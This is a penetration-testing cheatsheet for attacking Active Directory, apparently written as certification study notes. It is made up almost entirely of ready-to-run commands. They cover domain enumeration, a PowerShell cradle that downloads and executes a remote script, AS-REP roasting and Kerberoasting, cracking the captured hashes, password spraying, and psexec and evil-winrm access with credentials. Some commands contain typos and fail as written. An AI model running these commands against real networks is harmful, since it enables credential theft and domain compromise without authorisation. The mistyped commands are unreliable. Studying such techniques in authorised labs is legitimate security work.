AD Cheatsheet
Active Directory Methodology
Mindmap = https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg
AD Enumeration - Using net user /domain - PowerView (Users and Groups)
Repeated Enumeration
- Get-NetLoggedon | select UserName ⇒ get all the users logged on the current machine
- Get-NetSession ⇒ List of active sessions on the current machine
- Invoke-UserHunter -CheckAccess ⇒ checks if domain admin is logged onto any computers and if we have admin access to those computers
AD Exploitation - Kerberoasting - AS-REP Roasting - Password Spraying using SMB/crackmapexec (after getting creds from kerberoasting/as-rep roasting) - Cached AD Credentials using Mimikatz
AD Lateral Movement - Port Forwarding / Tunneling - Overpass the Hash using Rubeus
Accessing AD machines - RDP - psexec - evil-winrm
Attack Privilege Requirements -
Kerbrute Enumeration - No domain access required Pass the Ticket - Access as a user to the domain required Kerberoasting - Access as any user required AS-REP Roasting - Access as any user required Golden Ticket - Full domain compromise (domain admin) required Silver Ticket - Service hash required Skeleton Key - Full domain compromise (domain admin) required
AD Enumeration
net commands
net users ⇒ display users from current local machine
net useres /domain ⇒ display users from the DC
net groups /domain ⇒ enumerate groups on the DC
net localgroup ⇒ groups on the local machine
net localgroup administrators ⇒ groups that have admin access on the local machine
net group “Domain Admis” /domain ⇒ get users within domain admin group
net group “Client Admis” /domain ⇒ get users within client admin group
Enumeration using PowerView
PowerView.ps1 - https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Load and Run PowerView.ps1 script using powershell
IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.1/powerview.ps1')
powershell -ep bypass - bypass the execution policy
Import-Module .\PowerView.ps1 - Importing PowerView to memory
Get-NetDomain - Obtaining domain information
Get-NetUser - Querying users in the domain
Get-NetUser | select cn - Querying users using select statement
Get-NetGroup | select cn - Querying groups in the domain using PowerView
Get-NetGroup "Sales Department" | select member - Enumerating the "Sales Department" group
Get-NetComputer | select operatingsystem,dnshostname - Displaying OS and hostname
Find-LocalAdminAccess - Scanning domain to find local administrative privileges for our user
Get-DomainController
Get-DomianComputer | select sameaccountname, cn, name
Get-DomianUser | select name, memberof
Get-DomainGroup | select name, member
Get-DomainGroupMember -Identity "Domain Admins"
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Get-NetLoggedon | select UserName ⇒ get all the users logged on the current machine
Get-NetSession ⇒ List of active sessions on the current machine
Invoke-UserHunter -CheckAccess ⇒ checks if domain admin is logged onto any computers and if we have admin access to those computers
AD Exploitation
AS-REP Roasting
-
On Linux -
impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete- Using GetNPUsers to perform AS-REP roastinghashcat --help | grep -i "Kerberos”- Reviewing the correct Hashcat modesudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force- Cracking the AS-REP hash with Hashcat -
On Windows -
Rubeus - https://github.com/GhostPack/Rubeus
.\Rubeus.exe asreproast /nowrapsudo hashcat -m 18200 hashes.asreproast2 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
Kerberoasting
Kerberoasting ⇒ Any user can get a service ticket for a service account ⇒ service ticket is encrypted using a service account hash ⇒ crack the hash using hashcat ⇒ spray password using crackmapexec
- Windows -
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast - Utilizing Rubeus to perform a Kerberoast attack
sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force - Cracking the TGS-REP hash
- On Linux -
sudo impacket-GetUserSPNs -request -dc-ip 192.168.50.70 corp.com/pete - Using impacket-GetUserSPNs to perform Kerberoasting on Linux
If impacket-GetUserSPNs throws the error "KRB_AP_ERR_SKEW(Clock skew too great)," we need to synchronize the time of the Kali machine with the domain controller. We can use ntpdate or rdate to do so.
Looking for Service Accounts (SPN - Service Principal Name)
If SPN is set ⇒ It is a service account
Get-DomainUser -SPN ⇒ Find service accounts
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath ‘c:\users\public\HashCapture.txt’ -Width 8000 ⇒ get hash
hashcat -m 13100 -o cracked.txt -a 0 hashes.txt rockyou.txt ⇒ crack the hash using hashcat
PsExec
Sysinterals - https://learn.microsoft.com/en-us/sysinternals/
.\PsExec64.exe -i \\FILES04 -u corp\jen -p Nexus123! cmd
Linux -
impacket-psexec oscp/emmet@10.10.1.202 ⇒ get access to shares and shell on machine
winrm / Evil-winrm
evil-winrm -i <IP> -u <username> -p <password>
Hashcat
Crack passwords after getting hashes from AS-REP roasting or Kerberoasting
hashcat hash.asrep /usr/share /wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Crack Zip files
zip2john it-users.zip ⇒ gives hash of the zip file
john it-users.hash --wordlist=/usr/share/wordlists/rockyou.txt ⇒ crack the hash
Search for local.txt/proof.txt files on Windows
dir /s/b local.txt
dir /s/b proof.txt
dir /s/b *.txt
dir /s/b *.log
local/proof screenshot
type proof.txt
whoami
ipconfig
hostname
=================
Connecting to RDP
xfreerdp3 /u:<username> /d:<domain> /p:<pwd> /v:<IP>
xfreerdp /cert-ignore /u:<uname> /d:<domain> /p:<pwd> /v:<IP>
Hashcat
https://hashcat.net/wiki/doku.php?id=example_hashes
hashcat -m <number> hash wordlists.txt --force
Active Directory
Password Spraying
Crackmapexec - check if the output shows 'Pwned!'
crackmapexec smb <IP or subnet> -u users.txt -p 'pass' -d <domain> --continue-on-success
kerbrute passwordspray -d corp.com .\usernames.txt "pass"
AS-REP Roasting
Hash of AS-REP Roastable accounts
impacket-GetNPUsers -dc-ip <DC-IP> <domain>/<user>:<pass> -request
Kerberoasting
dumping from compromised windows host, and saving with customname
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast #dumping from compromised windows host, and saving with customname
impacket-GetUserSPNs -dc-ip <DC-IP> <domain>/<user>:<pass> -request #from kali machine
hashcat -m 13100 hashes.txt wordlist.txt --force # cracking hashes